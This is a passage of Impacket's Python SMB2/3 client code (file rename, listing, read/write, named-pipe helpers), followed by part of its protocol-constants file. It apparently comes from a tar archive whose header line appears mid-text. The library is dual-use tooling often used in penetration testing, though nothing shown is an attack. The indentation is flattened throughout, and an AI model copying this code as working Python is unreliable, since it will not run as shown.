packet['Command'] = SMB2_LOGOFF
smbLogoff = SMB2Logoff()
packet['Data'] = smbLogoff
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
# We clean the stuff we used in case we want to authenticate again
# within the same connection
self._Session['UserCredentials'] = ''
self._Session['Connection'] = 0
self._Session['SessionID'] = 0
self._Session['SigningRequired'] = False
self._Session['SigningKey'] = ''
self._Session['SessionKey'] = ''
self._Session['SigningActivated'] = False
return True
def queryInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_STANDARD_INFO, additionalInformation = 0, flags = 0 ):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_QUERY_INFO
packet['TreeID'] = treeId
queryInfo = SMB2QueryInfo()
queryInfo['FileID'] = fileId
queryInfo['InfoType'] = SMB2_0_INFO_FILE
queryInfo['FileInfoClass'] = fileInfoClass
queryInfo['OutputBufferLength'] = 65535
queryInfo['AdditionalInformation'] = additionalInformation
if len(inputBlob) == 0:
queryInfo['InputBufferOffset'] = 0
queryInfo['Buffer'] = '\x00'
else:
queryInfo['InputBufferLength'] = len(inputBlob)
queryInfo['Buffer'] = inputBlob
queryInfo['Flags'] = flags
packet['Data'] = queryInfo
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
queryResponse = SMB2QueryInfo_Response(ans['Data'])
return queryResponse['Buffer']
def setInfo(self, treeId, fileId, inputBlob = '', infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_STANDARD_INFO, additionalInformation = 0 ):
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if self._Session['OpenTable'].has_key(fileId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
packet = self.SMB_PACKET()
packet['Command'] = SMB2_SET_INFO
packet['TreeID'] = treeId
setInfo = SMB2SetInfo()
setInfo['InfoType'] = SMB2_0_INFO_FILE
setInfo['FileInfoClass'] = fileInfoClass
setInfo['BufferLength'] = len(inputBlob)
setInfo['AdditionalInformation'] = additionalInformation
setInfo['FileID'] = fileId
setInfo['Buffer'] = inputBlob
packet['Data'] = setInfo
packetID = self.sendSMB(packet)
ans = self.recvSMB(packetID)
if ans.isValidAnswer(STATUS_SUCCESS):
return True
def getSessionKey(self):
if self.getDialect() == SMB2_DIALECT_30:
return self._Session['ApplicationKey']
else:
return self._Session['SessionKey']
def setSessionKey(self, key):
if self.getDialect() == SMB2_DIALECT_30:
self._Session['ApplicationKey'] = key
else:
self._Session['SessionKey'] = key
######################################################################
# Higher level functions
def rename(self, shareName, oldPath, newPath):
oldPath = string.replace(oldPath,'/', '\\')
oldPath = ntpath.normpath(oldPath)
if len(oldPath) > 0 and oldPath[0] == '\\':
oldPath = oldPath[1:]
newPath = string.replace(newPath,'/', '\\')
newPath = ntpath.normpath(newPath)
if len(newPath) > 0 and newPath[0] == '\\':
newPath = newPath[1:]
treeId = self.connectTree(shareName)
fileId = None
try:
fileId = self.create(treeId, oldPath, MAXIMUM_ALLOWED ,FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, 0x200020, FILE_OPEN, 0)
renameReq = FILE_RENAME_INFORMATION_TYPE_2()
renameReq['ReplaceIfExists'] = 1
renameReq['RootDirectory'] = '\x00'*8
renameReq['FileNameLength'] = len(newPath)*2
renameReq['FileName'] = newPath.encode('utf-16le')
self.setInfo(treeId, fileId, renameReq, infoType = SMB2_0_INFO_FILE, fileInfoClass = SMB2_FILE_RENAME_INFO)
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
return True
def writeFile(self, treeId, fileId, data, offset = 0):
finished = False
writeOffset = offset
while not finished:
if len(data) == 0:
break
writeData = data[:self._Connection['MaxWriteSize']]
data = data[self._Connection['MaxWriteSize']:]
written = self.write(treeId, fileId, writeData, writeOffset, len(writeData))
writeOffset += written
return writeOffset - offset
def listPath(self, shareName, path, password = None):
# ToDo: Handle situations where share is password protected
path = string.replace(path,'/', '\\')
path = ntpath.normpath(path)
if len(path) > 0 and path[0] == '\\':
path = path[1:]
treeId = self.connectTree(shareName)
fileId = None
try:
# ToDo, we're assuming it's a directory, we should check what the file type is
fileId = self.create(treeId, ntpath.dirname(path), FILE_READ_ATTRIBUTES | FILE_READ_DATA ,FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, FILE_OPEN, 0)
res = ''
files = []
from impacket import smb
while True:
try:
res = self.queryDirectory( treeId, fileId, ntpath.basename(path), maxBufferSize = 65535, informationClass = FILE_FULL_DIRECTORY_INFORMATION )
nextOffset = 1
while nextOffset != 0:
fileInfo = smb.SMBFindFileFullDirectoryInfo(smb.SMB.FLAGS2_UNICODE)
fileInfo.fromString(res)
files.append(smb.SharedFile(fileInfo['CreationTime'],fileInfo['LastAccessTime'],fileInfo['LastChangeTime'],fileInfo['EndOfFile'],fileInfo['AllocationSize'],fileInfo['ExtFileAttributes'],fileInfo['FileName'].decode('utf-16le'), fileInfo['FileName'].decode('utf-16le')))
nextOffset = fileInfo['NextEntryOffset']
res = res[nextOffset:]
except SessionError, e:
if (e.get_error_code()) != STATUS_NO_MORE_FILES:
raise
break
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
return files
def mkdir(self, shareName, pathName, password = None):
# ToDo: Handle situations where share is password protected
pathName = string.replace(pathName,'/', '\\')
pathName = ntpath.normpath(pathName)
if len(pathName) > 0 and pathName[0] == '\\':
pathName = pathName[1:]
treeId = self.connectTree(shareName)
fileId = None
try:
fileId = self.create(treeId, pathName,GENERIC_ALL ,FILE_SHARE_READ | FILE_SHARE_WRITE |FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, FILE_CREATE, 0)
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
return True
def rmdir(self, shareName, pathName, password = None):
# ToDo: Handle situations where share is password protected
pathName = string.replace(pathName,'/', '\\')
pathName = ntpath.normpath(pathName)
if len(pathName) > 0 and pathName[0] == '\\':
pathName = pathName[1:]
treeId = self.connectTree(shareName)
fileId = None
try:
fileId = self.create(treeId, pathName, DELETE, FILE_SHARE_DELETE, FILE_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, FILE_OPEN, 0)
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
return True
def remove(self, shareName, pathName, password = None):
# ToDo: Handle situations where share is password protected
pathName = string.replace(pathName,'/', '\\')
pathName = ntpath.normpath(pathName)
if len(pathName) > 0 and pathName[0] == '\\':
pathName = pathName[1:]
treeId = self.connectTree(shareName)
fileId = None
try:
fileId = self.create(treeId, pathName,DELETE | FILE_READ_ATTRIBUTES, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, FILE_OPEN, 0)
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
return True
def retrieveFile(self, shareName, path, callback, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ):
# ToDo: Handle situations where share is password protected
path = string.replace(path,'/', '\\')
path = ntpath.normpath(path)
if len(path) > 0 and path[0] == '\\':
path = path[1:]
treeId = self.connectTree(shareName)
fileId = None
from impacket import smb
try:
fileId = self.create(treeId, path, FILE_READ_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0)
res = self.queryInfo(treeId, fileId)
fileInfo = smb.SMBQueryFileStandardInfo(res)
fileSize = fileInfo['EndOfFile']
if (fileSize-offset) < self._Connection['MaxReadSize']:
# Skip reading 0 bytes files.
if (fileSize-offset) > 0:
data = self.read(treeId, fileId, offset, fileSize-offset)
callback(data)
else:
written = 0
toBeRead = fileSize-offset
while written < toBeRead:
data = self.read(treeId, fileId, offset, self._Connection['MaxReadSize'])
written += len(data)
offset += len(data)
callback(data)
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
def storeFile(self, shareName, path, callback, mode = FILE_OVERWRITE_IF, offset = 0, password = None, shareAccessMode = FILE_SHARE_WRITE):
# ToDo: Handle situations where share is password protected
path = string.replace(path,'/', '\\')
path = ntpath.normpath(path)
if len(path) > 0 and path[0] == '\\':
path = path[1:]
treeId = self.connectTree(shareName)
fileId = None
try:
fileId = self.create(treeId, path, FILE_WRITE_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0)
finished = False
writeOffset = offset
while not finished:
data = callback(self._Connection['MaxWriteSize'])
if len(data) == 0:
break
written = self.write(treeId, fileId, data, writeOffset, len(data))
writeOffset += written
finally:
if fileId is not None:
self.close(treeId, fileId)
self.disconnectTree(treeId)
def waitNamedPipe(self, treeId, pipename, timeout = 5):
pipename = ntpath.basename(pipename)
if self._Session['TreeConnectTable'].has_key(treeId) is False:
raise SessionError(STATUS_INVALID_PARAMETER)
if len(pipename) > 0xffff:
raise SessionError(STATUS_INVALID_PARAMETER)
pipeWait = FSCTL_PIPE_WAIT_STRUCTURE()
pipeWait['Timeout'] = timeout*100000
pipeWait['NameLength'] = len(pipename)*2
pipeWait['TimeoutSpecified'] = 1
pipeWait['Name'] = pipename.encode('utf-16le')
return self.ioctl(treeId, None, FSCTL_PIPE_WAIT,flags=SMB2_0_IOCTL_IS_FSCTL, inputBlob=pipeWait, maxInputResponse = 0, maxOutputResponse=0)
def getIOCapabilities(self):
res = dict()
res['MaxReadSize'] = self._Connection['MaxReadSize']
res['MaxWriteSize'] = self._Connection['MaxWriteSize']
return res
######################################################################
# Backward compatibility functions and alias for SMB1 and DCE Transports
# NOTE: It is strongly recommended not to use these commands
# when implementing new client calls.
get_server_name = getServerName
get_server_domain = getServerDomain
get_server_dns_domain_name = getServerDNSDomainName
get_remote_name = getServerName
get_remote_host = getServerIP
get_server_os = getServerOS
get_server_os_major = getServerOSMajor
get_server_os_minor = getServerOSMinor
get_server_os_build = getServerOSBuild
tree_connect_andx = connectTree
tree_connect = connectTree
connect_tree = connectTree
disconnect_tree = disconnectTree
set_timeout = setTimeout
use_timeout = useTimeout
stor_file = storeFile
retr_file = retrieveFile
list_path = listPath
def __del__(self):
if self._NetBIOSSession:
self._NetBIOSSession.close()
def doesSupportNTLMv2(self):
# Always true :P
return True
def is_login_required(self):
# Always true :P
return True
def is_signing_required(self):
return self._Session["SigningRequired"]
def nt_create_andx(self, treeId, fileName, smb_packet=None, cmd = None):
if len(fileName) > 0 and fileName[0] == '\\':
fileName = fileName[1:]
if cmd is not None:
from impacket import smb
ntCreate = smb.SMBCommand(data = str(cmd))
params = smb.SMBNtCreateAndX_Parameters(ntCreate['Parameters'])
return self.create(treeId, fileName, params['AccessMask'], params['ShareAccess'],
params['CreateOptions'], params['Disposition'], params['FileAttributes'],
params['Impersonation'], params['SecurityFlags'])
else:
return self.create(treeId, fileName,
FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA |
FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES | FILE_READ_ATTRIBUTES | READ_CONTROL,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE, FILE_OPEN, 0 )
def get_socket(self):
return self._NetBIOSSession.get_socket()
def write_andx(self,tid,fid,data, offset = 0, wait_answer=1, write_pipe_mode = False, smb_packet=None):
# ToDo: Handle the custom smb_packet situation
return self.write(tid, fid, data, offset, len(data))
def TransactNamedPipe(self, tid, fid, data, noAnswer = 0, waitAnswer = 1, offset = 0):
return self.ioctl(tid, fid, FSCTL_PIPE_TRANSCEIVE, SMB2_0_IOCTL_IS_FSCTL, data, maxOutputResponse = 65535, waitAnswer = noAnswer | waitAnswer)
def TransactNamedPipeRecv(self):
ans = self.recvSMB()
if ans.isValidAnswer(STATUS_SUCCESS):
smbIoctlResponse = SMB2Ioctl_Response(ans['Data'])
return smbIoctlResponse['Buffer']
def read_andx(self, tid, fid, offset=0, max_size = None, wait_answer=1, smb_packet=None):
# ToDo: Handle the custom smb_packet situation
if max_size is None:
max_size = self._Connection['MaxReadSize']
return self.read(tid, fid, offset, max_size, wait_answer)
def list_shared(self):
# In the context of SMB2/3, forget about the old LANMAN, throw NOT IMPLEMENTED
raise SessionError(STATUS_NOT_IMPLEMENTED)
def open_andx(self, tid, fileName, open_mode, desired_access):
# ToDo Return all the attributes of the file
if len(fileName) > 0 and fileName[0] == '\\':
fileName = fileName[1:]
fileId = self.create(tid,fileName,desired_access, open_mode, FILE_NON_DIRECTORY_FILE, open_mode, 0)
return fileId, 0, 0, 0, 0, 0, 0, 0, 0
impacket-0.9.15/impacket/smb3structs.py 0000600 0000765 0000000 00000117352 12734531507 020125 0 ustar beto wheel 0000000 0000000 # Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author: Alberto Solino (@agsolino)
#
# Description:
# SMB 2 and 3 Protocol Structures and constants [MS-SMB2]
#
from impacket.structure import Structure
# Constants
# SMB Packet
SMB2_PACKET_SIZE = 64
# SMB Commands
SMB2_NEGOTIATE = 0x0000 #
SMB2_SESSION_SETUP = 0x0001 #
SMB2_LOGOFF = 0x0002 #
SMB2_TREE_CONNECT = 0x0003 #
SMB2_TREE_DISCONNECT = 0x0004 #
SMB2_CREATE = 0x0005 #
SMB2_CLOSE = 0x0006 #
SMB2_FLUSH = 0x0007 #
SMB2_READ = 0x0008 #
SMB2_WRITE = 0x0009 #
SMB2_LOCK = 0x000A #
SMB2_IOCTL = 0x000B #
SMB2_CANCEL = 0x000C #
SMB2_ECHO = 0x000D #
SMB2_QUERY_DIRECTORY = 0x000E #
SMB2_CHANGE_NOTIFY = 0x000F
SMB2_QUERY_INFO = 0x0010 #
SMB2_SET_INFO = 0x0011
SMB2_OPLOCK_BREAK = 0x0012
# SMB Flags
SMB2_FLAGS_SERVER_TO_REDIR = 0x00000001
SMB2_FLAGS_ASYNC_COMMAND = 0x00000002
SMB2_FLAGS_RELATED_OPERATIONS = 0x00000004
SMB2_FLAGS_SIGNED = 0x00000008
SMB2_FLAGS_DFS_OPERATIONS = 0x10000000
SMB2_FLAGS_REPLAY_OPERATION = 0x80000000
# SMB Error SymLink Flags
SYMLINK_FLAG_ABSOLUTE = 0x0
SYMLINK_FLAG_RELATIVE = 0x1
# SMB2_NEGOTIATE
# Security Modes
SMB2_NEGOTIATE_SIGNING_ENABLED = 0x1
SMB2_NEGOTIATE_SIGNING_REQUIRED = 0x2
# Capabilities
SMB2_GLOBAL_CAP_DFS = 0x01
SMB2_GLOBAL_CAP_LEASING = 0x02
SMB2_GLOBAL_CAP_LARGE_MTU = 0x04
SMB2_GLOBAL_CAP_MULTI_CHANNEL = 0x08
SMB2_GLOBAL_CAP_PERSISTENT_HANDLES = 0x10
SMB2_GLOBAL_CAP_DIRECTORY_LEASING = 0x20
SMB2_GLOBAL_CAP_ENCRYPTION = 0x40
# Dialects
SMB2_DIALECT_002 = 0x0202
SMB2_DIALECT_21 = 0x0210
SMB2_DIALECT_30 = 0x0300
SMB2_DIALECT_WILDCARD = 0x02FF
# SMB2_SESSION_SETUP
# Flags
SMB2_SESSION_FLAG_BINDING = 0x01
SMB2_SESSION_FLAG_IS_GUEST = 0x01
SMB2_SESSION_FLAG_IS_NULL = 0x02
SMB2_SESSION_FLAG_ENCRYPT_DATA = 0x04
# SMB2_TREE_CONNECT
# Types
SMB2_SHARE_TYPE_DISK = 0x1
SMB2_SHARE_TYPE_PIPE = 0x2
SMB2_SHARE_TYPE_PRINT = 0x3
# Share Flags
SMB2_SHAREFLAG_MANUAL_CACHING = 0x00000000
SMB2_SHAREFLAG_AUTO_CACHING = 0x00000010
SMB2_SHAREFLAG_VDO_CACHING = 0x00000020
SMB2_SHAREFLAG_NO_CACHING = 0x00000030
SMB2_SHAREFLAG_DFS = 0x00000001
SMB2_SHAREFLAG_DFS_ROOT = 0x00000002
SMB2_SHAREFLAG_RESTRICT_EXCLUSIVE_OPENS = 0x00000100
SMB2_SHAREFLAG_FORCE_SHARED_DELETE = 0x00000200
SMB2_SHAREFLAG_ALLOW_NAMESPACE_CACHING = 0x00000400
SMB2_SHAREFLAG_ACCESS_BASED_DIRECTORY_ENUM = 0x00000800
SMB2_SHAREFLAG_FORCE_LEVELII_OPLOCK = 0x00001000
SMB2_SHAREFLAG_ENABLE_HASH_V1 = 0x00002000
SMB2_SHAREFLAG_ENABLE_HASH_V2 = 0x00004000
SMB2_SHAREFLAG_ENCRYPT_DATA = 0x00008000
# Capabilities
SMB2_SHARE_CAP_DFS = 0x00000008
SMB2_SHARE_CAP_CONTINUOUS_AVAILABILITY = 0x00000010
SMB2_SHARE_CAP_SCALEOUT = 0x00000020
SMB2_SHARE_CAP_CLUSTER = 0x00000040
# SMB_CREATE
# Oplocks
SMB2_OPLOCK_LEVEL_NONE = 0x00
SMB2_OPLOCK_LEVEL_II = 0x01
SMB2_OPLOCK_LEVEL_EXCLUSIVE = 0x08
SMB2_OPLOCK_LEVEL_BATCH = 0x09
SMB2_OPLOCK_LEVEL_LEASE = 0xFF
# Impersonation Level
SMB2_IL_ANONYMOUS = 0x00000000
SMB2_IL_IDENTIFICATION = 0x00000001
SMB2_IL_IMPERSONATION = 0x00000002
SMB2_IL_DELEGATE = 0x00000003
# File Attributes
FILE_ATTRIBUTE_ARCHIVE = 0x00000020
FILE_ATTRIBUTE_COMPRESSED = 0x00000800
FILE_ATTRIBUTE_DIRECTORY = 0x00000010
FILE_ATTRIBUTE_ENCRYPTED = 0x00004000
FILE_ATTRIBUTE_HIDDEN = 0x00000002
FILE_ATTRIBUTE_NORMAL = 0x00000080
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000
FILE_ATTRIBUTE_OFFLINE = 0x00001000
FILE_ATTRIBUTE_READONLY = 0x00000001
FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400
FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200
FILE_ATTRIBUTE_SYSTEM = 0x00000004
FILE_ATTRIBUTE_TEMPORARY = 0x00000100
FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x00000800
FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000
# Share Access
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
FILE_SHARE_DELETE = 0x00000004
# Create Disposition
FILE_SUPERSEDE = 0x00000000
FILE_OPEN = 0x00000001
FILE_CREATE = 0x00000002
FILE_OPEN_IF = 0x00000003
FILE_OVERWRITE = 0x00000004
FILE_OVERWRITE_IF = 0x00000005
# Create Options
FILE_DIRECTORY_FILE = 0x00000001
FILE_WRITE_THROUGH = 0x00000002
FILE_SEQUENTIAL_ONLY = 0x00000004
FILE_NO_INTERMEDIATE_BUFFERING = 0x00000008
FILE_SYNCHRONOUS_IO_ALERT = 0x00000010
FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020
FILE_NON_DIRECTORY_FILE = 0x00000040
FILE_COMPLETE_IF_OPLOCKED = 0x00000100
FILE_NO_EA_KNOWLEDGE = 0x00000200
FILE_RANDOM_ACCESS = 0x00000800
FILE_DELETE_ON_CLOSE = 0x00001000
FILE_OPEN_BY_FILE_ID = 0x00002000
FILE_OPEN_FOR_BACKUP_INTENT = 0x00004000
FILE_NO_COMPRESSION = 0x00008000
FILE_RESERVE_OPFILTER = 0x00100000
FILE_OPEN_REPARSE_POINT = 0x00200000
FILE_OPEN_NO_RECALL = 0x00400000
FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000
# File Access Mask / Desired Access
FILE_READ_DATA = 0x00000001
FILE_WRITE_DATA = 0x00000002
FILE_APPEND_DATA = 0x00000004
FILE_READ_EA = 0x00000008
FILE_WRITE_EA = 0x00000010
FILE_EXECUTE = 0x00000020
FILE_READ_ATTRIBUTES = 0x00000080
FILE_WRITE_ATTRIBUTES = 0x00000100
DELETE = 0x00010000
READ_CONTROL = 0x00020000
WRITE_DAC = 0x00040000
WRITE_OWNER = 0x00080000
SYNCHRONIZE = 0x00100000
ACCESS_SYSTEM_SECURITY = 0x01000000
MAXIMUM_ALLOWED = 0x02000000
GENERIC_ALL = 0x10000000
GENERIC_EXECUTE = 0x20000000
GENERIC_WRITE = 0x40000000
GENERIC_READ = 0x80000000
# Directory Access Mask
FILE_LIST_DIRECTORY = 0x00000001
FILE_ADD_FILE = 0x00000002
FILE_ADD_SUBDIRECTORY = 0x00000004
FILE_TRAVERSE = 0x00000020
FILE_DELETE_CHILD = 0x00000040
# Create Contexts
SMB2_CREATE_EA_BUFFER = 0x45787441
SMB2_CREATE_SD_BUFFER = 0x53656344
SMB2_CREATE_DURABLE_HANDLE_REQUEST = 0x44486e51
SMB2_CREATE_DURABLE_HANDLE_RECONNECT = 0x44486e43
SMB2_CREATE_ALLOCATION_SIZE = 0x416c5369
SMB2_CREATE_QUERY_MAXIMAL_ACCESS_REQUEST = 0x4d784163
SMB2_CREATE_TIMEWARP_TOKEN = 0x54577270
SMB2_CREATE_QUERY_ON_DISK_ID = 0x51466964
SMB2_CREATE_REQUEST = 0x52714c73
SMB2_CREATE_REQUEST_LEASE_V2 = 0x52714c73
SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 = 0x44483251
SMB2_CREATE_DURABLE_HANDLE_RECONNECT_V2 = 0x44483243
SMB2_CREATE_APP_INSTANCE_ID = 0x45BCA66AEFA7F74A9008FA462E144D74
# Flags
SMB2_CREATE_FLAG_REPARSEPOINT = 0x1
FILE_NEED_EA = 0x80
# CreateAction
FILE_SUPERSEDED = 0x00000000
FILE_OPENED = 0x00000001
FILE_CREATED = 0x00000002
FILE_OVERWRITTEN = 0x00000003
# SMB2_CREATE_REQUEST_LEASE states
SMB2_LEASE_NONE = 0x00
SMB2_LEASE_READ_CACHING = 0x01
SMB2_LEASE_HANDLE_CACHING = 0x02
SMB2_LEASE_WRITE_CACHING = 0x04
# SMB2_CREATE_REQUEST_LEASE_V2 Flags
SMB2_LEASE_FLAG_PARENT_LEASE_KEY_SET = 0x4
# SMB2_CREATE_DURABLE_HANDLE_REQUEST_V2 Flags
SMB2_DHANDLE_FLAG_PERSISTENT = 0x02
# SMB2_CLOSE
# Flags
SMB2_CLOSE_FLAG_POSTQUERY_ATTRIB = 0x0001
# SMB2_READ
# Channel
SMB2_CHANNEL_NONE = 0x00
SMB2_CHANNEL_RDMA_V1 = 0x01
# SMB2_WRITE
# Flags
SMB2_WRITEFLAG_WRITE_THROUGH = 0x01
# Lease Break Notification
SMB2_NOTIFY_BREAK_LEASE_FLAG_ACK_REQUIRED = 0x01
# SMB_LOCK
# Flags
SMB2_LOCKFLAG_SHARED_LOCK = 0x01
SMB2_LOCKFLAG_EXCLUSIVE_LOCK = 0x02
SMB2_LOCKFLAG_UNLOCK = 0x04
SMB2_LOCKFLAG_FAIL_IMMEDIATELY = 0x10
# SMB IOCTL
# Control Codes
FSCTL_DFS_GET_REFERRALS = 0x00060194
FSCTL_PIPE_PEEK = 0x0011400C
FSCTL_PIPE_WAIT = 0x00110018
FSCTL_PIPE_TRANSCEIVE = 0x0011C017
FSCTL_SRV_COPYCHUNK = 0x001440F2
FSCTL_SRV_ENUMERATE_SNAPSHOTS = 0x00144064
FSCTL_SRV_REQUEST_RESUME_KEY = 0x00140078
FSCTL_SRV_READ_HASH = 0x001441bb
FSCTL_SRV_COPYCHUNK_WRITE = 0x001480F2
FSCTL_LMR_REQUEST_RESILIENCY = 0x001401D4
FSCTL_QUERY_NETWORK_INTERFACE_INFO = 0x001401FC
FSCTL_SET_REPARSE_POINT = 0x000900A4
FSCTL_DFS_GET_REFERRALS_EX = 0x000601B0
FSCTL_FILE_LEVEL_TRIM = 0x00098208
FSCTL_VALIDATE_NEGOTIATE_INFO = 0x00140204
# Flags
SMB2_0_IOCTL_IS_FSCTL = 0x1
# SRV_READ_HASH
# Type
SRV_HASH_TYPE_PEER_DIST = 0x01
# Version
SRV_HASH_VER_1 = 0x1
SRV_HASH_VER_2 = 0x2
# Retrieval Type
SRV_HASH_RETRIEVE_HASH_BASED = 0x01
SRV_HASH_RETRIEVE_FILE_BASED = 0x02
# NETWORK_INTERFACE_INFO
# Capabilities
RSS_CAPABLE = 0x01
RDMA_CAPABLE = 0x02
# SMB2_QUERY_DIRECTORIES
# Information Class
FILE_DIRECTORY_INFORMATION = 0x01
FILE_FULL_DIRECTORY_INFORMATION = 0x02
FILEID_FULL_DIRECTORY_INFORMATION = 0x26
FILE_BOTH_DIRECTORY_INFORMATION = 0x03
FILEID_BOTH_DIRECTORY_INFORMATION = 0x25
FILENAMES_INFORMATION = 0x0C
# Flags
SMB2_RESTART_SCANS = 0x01
SMB2_RETURN_SINGLE_ENTRY = 0x02
SMB2_INDEX_SPECIFIED = 0x04
SMB2_REOPEN = 0x10
# SMB2_CHANGE_NOTIFY
# Flags
SMB2_WATCH_TREE = 0x01
# Filters
FILE_NOTIFY_CHANGE_FILE_NAME = 0x00000001
FILE_NOTIFY_CHANGE_DIR_NAME = 0x00000002
FILE_NOTIFY_CHANGE_ATTRIBUTES = 0x00000004
FILE_NOTIFY_CHANGE_SIZE = 0x00000008
FILE_NOTIFY_CHANGE_LAST_WRITE = 0x00000010
FILE_NOTIFY_CHANGE_LAST_ACCESS = 0x00000020
FILE_NOTIFY_CHANGE_CREATION = 0x00000040
FILE_NOTIFY_CHANGE_EA = 0x00000080
FILE_NOTIFY_CHANGE_SECURITY = 0x00000100
FILE_NOTIFY_CHANGE_STREAM_NAME = 0x00000200
FILE_NOTIFY_CHANGE_STREAM_SIZE = 0x00000400
FILE_NOTIFY_CHANGE_STREAM_WRITE = 0x00000800
# FILE_NOTIFY_INFORMATION
# Actions
FILE_ACTION_ADDED = 0x00000001
FILE_ACTION_REMOVED = 0x00000002
FILE_ACTION_MODIFIED = 0x00000003
FILE_ACTION_RENAMED_OLD_NAME = 0x00000004
FILE_ACTION_RENAMED_NEW_NAME = 0x00000005
# SMB2_QUERY_INFO
# InfoTypes
SMB2_0_INFO_FILE = 0x01
SMB2_0_INFO_FILESYSTEM = 0x02
SMB2_0_INFO_SECURITY = 0x03
SMB2_0_INFO_QUOTA = 0x04
# File Information Classes
SMB2_FILE_ACCESS_INFO = 8
SMB2_FILE_ALIGNMENT_INFO = 17
SMB2_FILE_ALL_INFO = 18
SMB2_FILE_ALLOCATION_INFO = 19
SMB2_FILE_ALTERNATE_NAME_INFO = 21
SMB2_ATTRIBUTE_TAG_INFO = 35
SMB2_FILE_BASIC_INFO = 4
SMB2_FILE_BOTH_DIRECTORY_INFO = 3
SMB2_FILE_COMPRESSION_INFO = 28
SMB2_FILE_DIRECTORY_INFO = 1
SMB2_FILE_DISPOSITION_INFO = 13
SMB2_FILE_EA_INFO = 7
SMB2_FILE_END_OF_FILE_INFO = 20
SMB2_FULL_DIRECTORY_INFO = 2
SMB2_FULL_EA_INFO = 15
SMB2_FILE_HARDLINK_INFO = 46
SMB2_FILE_ID_BOTH_DIRECTORY_INFO = 37
SMB2_FILE_ID_FULL_DIRECTORY_INFO = 38
SMB2_FILE_ID_GLOBAL_TX_DIRECTORY_INFO = 50
SMB2_FILE_INTERNAL_INFO = 6
SMB2_FILE_LINK_INFO = 11
SMB2_FILE_MAILSLOT_QUERY_INFO = 26
SMB2_FILE_MAILSLOT_SET_INFO = 27
SMB2_FILE_MODE_INFO = 16
SMB2_FILE_MOVE_CLUSTER_INFO = 31
SMB2_FILE_NAME_INFO = 9
SMB2_FILE_NAMES_INFO = 12
SMB2_FILE_NETWORK_OPEN_INFO = 34
SMB2_FILE_NORMALIZED_NAME_INFO = 48
SMB2_FILE_OBJECT_ID_INFO = 29
SMB2_FILE_PIPE_INFO = 23
SMB2_FILE_PIPE_LOCAL_INFO = 24
SMB2_FILE_PIPE_REMOTE_INFO = 25
SMB2_FILE_POSITION_INFO = 14
SMB2_FILE_QUOTA_INFO = 32
SMB2_FILE_RENAME_INFO = 10
SMB2_FILE_REPARSE_POINT_INFO = 33
SMB2_FILE_SFIO_RESERVE_INFO = 44
SMB2_FILE_SHORT_NAME_INFO = 45
SMB2_FILE_STANDARD_INFO = 5
SMB2_FILE_STANDARD_LINK_INFO = 54
SMB2_FILE_STREAM_INFO = 22
SMB2_FILE_TRACKING_INFO = 36
SMB2_FILE_VALID_DATA_LENGTH_INFO = 39
# File System Information Classes
SMB2_FILESYSTEM_VOLUME_INFO = 1
SMB2_FILESYSTEM_LABEL_INFO = 2
SMB2_FILESYSTEM_SIZE_INFO = 3
SMB2_FILESYSTEM_DEVICE_INFO = 4
SMB2_FILESYSTEM_ATTRIBUTE_INFO = 5
SMB2_FILESYSTEM_CONTROL_INFO = 6
SMB2_FILESYSTEM_FULL_SIZE_INFO = 7
SMB2_FILESYSTEM_OBJECT_ID_INFO = 8
SMB2_FILESYSTEM_DRIVER_PATH_INFO = 9
SMB2_FILESYSTEM_SECTOR_SIZE_INFO = 11
# Additional information
OWNER_SECURITY_INFORMATION = 0x00000001
GROUP_SECURITY_INFORMATION = 0x00000002
DACL_SECURITY_INFORMATION = 0x00000004
SACL_SECURITY_INFORMATION = 0x00000008
LABEL_SECURITY_INFORMATION = 0x00000010
# Flags
SL_RESTART_SCAN = 0x00000001
SL_RETURN_SINGLE_ENTRY = 0x00000002
SL_INDEX_SPECIFIED = 0x00000004
